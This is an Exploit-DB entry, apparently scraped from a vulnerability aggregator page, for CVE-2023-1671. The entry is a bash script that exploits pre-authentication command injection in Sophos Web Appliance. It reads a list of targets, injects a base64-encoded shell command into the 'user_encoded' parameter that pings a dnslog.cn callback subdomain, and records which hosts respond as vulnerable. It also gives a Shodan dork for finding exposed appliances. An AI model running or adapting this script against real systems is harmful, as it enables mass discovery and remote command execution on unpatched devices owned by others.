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exploitdbBehnam Abasi VandaEDB-ID:51396
HistoryApr 25, 2023 - 12:00 a.m.

Sophos Web Appliance 4.3.10.4 - Pre-auth command injection

2023-04-2500:00:00
Behnam Abasi Vanda
www.exploit-db.com
162

9.8 High

AI Score

Confidence

High

0.969 High

EPSS

Percentile

99.7%

JSON
#!/bin/bash 
# Exploit Title: Sophos Web Appliance 4.3.10.4 - Pre-auth command injection
# Exploit Author: Behnam Abasi Vanda
# Vendor Homepage: https://www.sophos.com
# Version:  Sophos Web Appliance older than version 4.3.10.4
# Tested on: Ubuntu
# CVE : CVE-2023-1671
# Shodan Dork: title:"Sophos Web Appliance"
# Reference : https://www.sophos.com/en-us/security-advisories/sophos-sa-20230404-swa-rce
# Reference : https://vulncheck.com/blog/cve-2023-1671-analysis



TARGET_LIST="$1"

# =====================
BOLD="\033[1m"
RED="\e[1;31m"
GREEN="\e[1;32m"
YELLOW="\e[1;33m"
BLUE="\e[1;34m"
NOR="\e[0m"
# ====================


get_new_subdomain()
{
cat  MN.txt | grep 'YES' >/dev/null;ch=$?
           if [ $ch -eq 0 ];then
		echo -e "	[+] Trying to get Subdomain $NOR"
	   rm -rf cookie.txt
	  sub=`curl -i -c cookie.txt -s -k -X $'GET' \
          -H $'Host: www.dnslog.cn' -H $'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/112.0' -H $'Accept: */*' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Connection: close' -H $'Referer: http://www.dnslog.cn/' \
	    $'http://www.dnslog.cn/getdomain.php?t=0' | grep dnslog.cn` 
      	   echo -e "	[+]$BOLD$GREEN Subdomain : $sub $NOR"
  	   fi
}

check_vuln()
{
curl -k --trace-ascii % "https://$1/index.php?c=blocked&action=continue" -d "args_reason=filetypewarn&url=$RANDOM&filetype=$RANDOM&user=$RANDOM&user_encoded=$(echo -n "';ping $sub -c 3 #" | base64)"

req=`curl -i -s -k -b cookie.txt -X $'GET' \
    -H $'Host: www.dnslog.cn' -H $'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/112.0' -H $'Accept: */*' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Connection: close' -H $'Referer: http://www.dnslog.cn/' \
       $'http://www.dnslog.cn/getrecords.php?t=0'`
       
echo "$req"  | grep 'dnslog.cn' >/dev/null;ch=$?
           if [ $ch -eq 0 ];then
           	echo "YES" > MN.txt
		echo -e "	[+]$BOLD $RED https://$1 Vulnerable :D $NOR"
		echo "https://$1" >> vulnerable.lst			
	        else 
       		echo -e "	[-] https://$1 Not Vulnerable :| $NOR"
     		echo "NO" > MN.txt
	   fi
}

echo '

 ā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā•—ā–ˆā–ˆā•—   ā–ˆā–ˆā•—ā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā•—    ā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā•—  ā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā•— ā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā•— ā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā•—        ā–ˆā–ˆā•— ā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā•—ā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā•—
ā–ˆā–ˆā•”ā•ā•ā•ā•ā•ā–ˆā–ˆā•‘   ā–ˆā–ˆā•‘ā–ˆā–ˆā•”ā•ā•ā•ā•ā•    ā•šā•ā•ā•ā•ā–ˆā–ˆā•—ā–ˆā–ˆā•”ā•ā–ˆā–ˆā–ˆā–ˆā•—ā•šā•ā•ā•ā•ā–ˆā–ˆā•—ā•šā•ā•ā•ā•ā–ˆā–ˆā•—      ā–ˆā–ˆā–ˆā•‘ā–ˆā–ˆā•”ā•ā•ā•ā•ā•ā•šā•ā•ā•ā•ā–ˆā–ˆā•‘
ā–ˆā–ˆā•‘     ā–ˆā–ˆā•‘   ā–ˆā–ˆā•‘ā–ˆā–ˆā–ˆā–ˆā–ˆā•—ā–ˆā–ˆā–ˆā–ˆā–ˆā•— ā–ˆā–ˆā–ˆā–ˆā–ˆā•”ā•ā–ˆā–ˆā•‘ā–ˆā–ˆā•”ā–ˆā–ˆā•‘ ā–ˆā–ˆā–ˆā–ˆā–ˆā•”ā• ā–ˆā–ˆā–ˆā–ˆā–ˆā•”ā•ā–ˆā–ˆā–ˆā–ˆā–ˆā•—ā•šā–ˆā–ˆā•‘ā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā•—    ā–ˆā–ˆā•”ā•
ā–ˆā–ˆā•‘     ā•šā–ˆā–ˆā•— ā–ˆā–ˆā•”ā•ā–ˆā–ˆā•”ā•ā•ā•ā•šā•ā•ā•ā•ā•ā–ˆā–ˆā•”ā•ā•ā•ā• ā–ˆā–ˆā–ˆā–ˆā•”ā•ā–ˆā–ˆā•‘ā–ˆā–ˆā•”ā•ā•ā•ā•  ā•šā•ā•ā•ā–ˆā–ˆā•—ā•šā•ā•ā•ā•ā• ā–ˆā–ˆā•‘ā–ˆā–ˆā•”ā•ā•ā•ā–ˆā–ˆā•—  ā–ˆā–ˆā•”ā• 
ā•šā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā•— ā•šā–ˆā–ˆā–ˆā–ˆā•”ā• ā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā•—    ā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā•—ā•šā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā•”ā•ā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā•—ā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā•”ā•       ā–ˆā–ˆā•‘ā•šā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā•”ā•  ā–ˆā–ˆā•‘  
 ā•šā•ā•ā•ā•ā•ā•  ā•šā•ā•ā•ā•  ā•šā•ā•ā•ā•ā•ā•ā•    ā•šā•ā•ā•ā•ā•ā•ā• ā•šā•ā•ā•ā•ā•ā• ā•šā•ā•ā•ā•ā•ā•ā•ā•šā•ā•ā•ā•ā•ā•        ā•šā•ā• ā•šā•ā•ā•ā•ā•ā•   ā•šā•ā•  
                                                                                        
ā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā•— ā–ˆā–ˆā•—   ā–ˆā–ˆā•—    ā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā•— ā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā•—ā–ˆā–ˆā•—  ā–ˆā–ˆā•—ā–ˆā–ˆā–ˆā•—   ā–ˆā–ˆā•— ā–ˆā–ˆā–ˆā–ˆā–ˆā•— ā–ˆā–ˆā–ˆā•—   ā–ˆā–ˆā–ˆā•—       ā–ˆā–ˆā•—    
ā–ˆā–ˆā•”ā•ā•ā–ˆā–ˆā•—ā•šā–ˆā–ˆā•— ā–ˆā–ˆā•”ā•    ā–ˆā–ˆā•”ā•ā•ā–ˆā–ˆā•—ā–ˆā–ˆā•”ā•ā•ā•ā•ā•ā–ˆā–ˆā•‘  ā–ˆā–ˆā•‘ā–ˆā–ˆā–ˆā–ˆā•—  ā–ˆā–ˆā•‘ā–ˆā–ˆā•”ā•ā•ā–ˆā–ˆā•—ā–ˆā–ˆā–ˆā–ˆā•— ā–ˆā–ˆā–ˆā–ˆā•‘    ā–ˆā–ˆā•—ā•šā–ˆā–ˆā•—   
ā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā•”ā• ā•šā–ˆā–ˆā–ˆā–ˆā•”ā•     ā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā•”ā•ā–ˆā–ˆā–ˆā–ˆā–ˆā•—  ā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā•‘ā–ˆā–ˆā•”ā–ˆā–ˆā•— ā–ˆā–ˆā•‘ā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā•‘ā–ˆā–ˆā•”ā–ˆā–ˆā–ˆā–ˆā•”ā–ˆā–ˆā•‘    ā•šā•ā• ā–ˆā–ˆā•‘   
ā–ˆā–ˆā•”ā•ā•ā–ˆā–ˆā•—  ā•šā–ˆā–ˆā•”ā•      ā–ˆā–ˆā•”ā•ā•ā–ˆā–ˆā•—ā–ˆā–ˆā•”ā•ā•ā•  ā–ˆā–ˆā•”ā•ā•ā–ˆā–ˆā•‘ā–ˆā–ˆā•‘ā•šā–ˆā–ˆā•—ā–ˆā–ˆā•‘ā–ˆā–ˆā•”ā•ā•ā–ˆā–ˆā•‘ā–ˆā–ˆā•‘ā•šā–ˆā–ˆā•”ā•ā–ˆā–ˆā•‘    ā–„ā–ˆā•— ā–ˆā–ˆā•‘   
ā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā•”ā•   ā–ˆā–ˆā•‘       ā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā•”ā•ā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā•—ā–ˆā–ˆā•‘  ā–ˆā–ˆā•‘ā–ˆā–ˆā•‘ ā•šā–ˆā–ˆā–ˆā–ˆā•‘ā–ˆā–ˆā•‘  ā–ˆā–ˆā•‘ā–ˆā–ˆā•‘ ā•šā•ā• ā–ˆā–ˆā•‘    ā–€ā•ā•ā–ˆā–ˆā•”ā•   
ā•šā•ā•ā•ā•ā•ā•    ā•šā•ā•       ā•šā•ā•ā•ā•ā•ā• ā•šā•ā•ā•ā•ā•ā•ā•ā•šā•ā•  ā•šā•ā•ā•šā•ā•  ā•šā•ā•ā•ā•ā•šā•ā•  ā•šā•ā•ā•šā•ā•     ā•šā•ā•       ā•šā•ā•    
                                                                                       
                                                                                        '
if test "$#" -ne 1; then
    echo       "   ----------------------------------------------------------------"
    echo "    [!] please give the target list file : bash CVE-2023-1671.sh targets.txt "
    echo       "   ---------------------------------------------------------------"
    exit
fi



rm -rf cookie.txt
echo "YES" > MN.txt
for target in `cat $TARGET_LIST`
do

get_new_subdomain;
echo "	[~] Checking $target"
	check_vuln "$target"
done
rm -rf MN.txt
rm -rf cookie.txt

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9.8 High

AI Score

Confidence

High

0.969 High

EPSS

Percentile

99.7%

JSON
Related for EDB-ID:51396
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